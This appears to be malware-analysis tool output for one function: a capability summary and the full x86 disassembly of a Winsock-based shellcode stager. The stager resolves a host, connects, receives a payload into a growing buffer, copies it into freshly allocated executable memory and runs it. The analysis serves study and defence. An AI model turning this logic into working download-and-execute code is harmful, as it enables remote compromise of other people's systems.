Function at 0x100119e0
Capabilities:
Allocate or change rwx memory
Connect socket
Execute shellcode via indirect call
Initialize winsock library
Receive data
Receive data on socket
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1d4
push ebx
push esi
push edi
lea eax, [ebp - 0x1d0]
mov dword [ebp - 4], 0
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
xorps xmm0, xmm0
mov dword [ebp - 0x3c], 0
mov edx, 0x101e7b48
movlpd qword [ebp - 0x2c], xmm0
lea ecx, [ebp - 0x1c]
movlpd qword [ebp - 0x24], xmm0
mov dword [ebp - 0x38], 2
mov dword [ebp - 0x34], 1
mov dword [ebp - 0x30], 6
call fcn.10011860
mov esi, eax
cmp esi, 0x101e7b48
je 0x10011ac1
mov ecx, dword [0x101e7b5c]
cmp ecx, 0xf
jbe 0x10011a7e
mov eax, dword [0x101e7b48]
inc ecx
cmp ecx, 0x1000
jb 0x10011a74
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10011d13
mov eax, edx
push ecx
push eax
call fcn.10154c15
add esp, 8
mov dword [0x101e7b58], 0
mov dword [0x101e7b5c], 0xf
mov byte [0x101e7b48], 0
movups xmm0, xmmword [esi]
movups xmmword [0x101e7b48], xmm0
movq xmm0, qword [esi + 0x10]
movq qword [0x101e7b58], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
mov ecx, dword [ebp - 8]
cmp ecx, 0xf
jbe 0x10011af5
mov edx, dword [ebp - 0x1c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10011aeb
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10011d13
push ecx
push edx
call fcn.10154c15
add esp, 8
mov edx, 0x101e7b30
lea ecx, [ebp - 0x1c]
call fcn.10011860
mov esi, eax
cmp esi, 0x101e7b30
je 0x10011b88
mov ecx, dword [0x101e7b44]
cmp ecx, 0xf
jbe 0x10011b45
mov eax, dword [0x101e7b30]
inc ecx
cmp ecx, 0x1000
jb 0x10011b3b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10011d18
mov eax, edx
push ecx
push eax
call fcn.10154c15
add esp, 8
mov dword [0x101e7b40], 0
mov dword [0x101e7b44], 0xf
mov byte [0x101e7b30], 0
movups xmm0, xmmword [esi]
movups xmmword [0x101e7b30], xmm0
movq xmm0, qword [esi + 0x10]
movq qword [0x101e7b40], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
mov ecx, dword [ebp - 8]
cmp ecx, 0xf
jbe 0x10011bbc
mov edx, dword [ebp - 0x1c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10011bb2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10011d18
push ecx
push edx
call fcn.10154c15
add esp, 8
cmp dword [0x101e7b44], 0xf
lea edx, [ebp - 4]
push edx
mov ecx, 0x101e7b30
lea edx, [ebp - 0x3c]
cmova ecx, dword [0x101e7b30]
mov eax, 0x101e7b48
cmp dword [0x101e7b5c], 0xf
push edx
cmova eax, dword [0x101e7b48]
push ecx
push eax
call dword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
jne 0x10011d06
mov esi, dword [ebp - 4]
mov edi, dword [sym.imp.WS2_32.dll_closesocket]
test esi, esi
je 0x10011c57
mov ebx, dword [sym.imp.WS2_32.dll_connect]
nop dword [eax]
push dword [esi + 0xc]
push dword [esi + 8]
push dword [esi + 4]
call dword [sym.imp.WS2_32.dll_socket]
mov dword [0x101f0444], eax
cmp eax, 0xffffffff
je 0x10011d06
push dword [esi + 0x10]
push dword [esi + 0x18]
push eax
call ebx
cmp eax, 0xffffffff
jne 0x10011c54
push dword [0x101f0444]
call edi
mov esi, dword [esi + 0x1c]
mov dword [0x101f0444], 0xffffffff
test esi, esi
jne 0x10011c10
mov esi, dword [ebp - 4]
push esi
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
cmp dword [0x101f0444], 0xffffffff
je 0x10011d06
mov esi, dword [sym.imp.WS2_32.dll_recv]
mov ecx, dword [0x101f0440]
mov eax, dword [0x101e7b28]
nop dword [eax]
push 0
sub eax, ecx
push eax
mov eax, dword [0x101f0448]
add eax, ecx
push eax
push dword [0x101f0444]
call esi
test eax, eax
jle 0x10011ccd
mov ecx, dword [0x101f0440]
add ecx, eax
mov eax, dword [0x101e7b28]
mov dword [0x101f0440], ecx
cmp ecx, eax
jne 0x10011c80
add eax, eax
push eax
push dword [0x101f0448]
mov dword [0x101e7b28], eax
call fcn.10165269
add esp, 8
mov dword [0x101f0448], eax
jmp 0x10011c71
jne 0x10011d1d
push 0x40
push 0x3000
push dword [0x101f0440]
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push dword [0x101f0440]
mov esi, eax
push dword [0x101f0448]
push esi
call fcn.101579a0
add esp, 0xc
call esi
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
call dword [sym.imp.WS2_32.dll_WSACleanup]
push 0
call fcn.10165063
call fcn.1015ff88
call fcn.1015ff88
push dword [0x101f0444]
call edi
call dword [sym.imp.WS2_32.dll_WSACleanup]
push dword [0x101f0448]
call fcn.1015af23
add esp, 4
push 0
call fcn.10165063
int3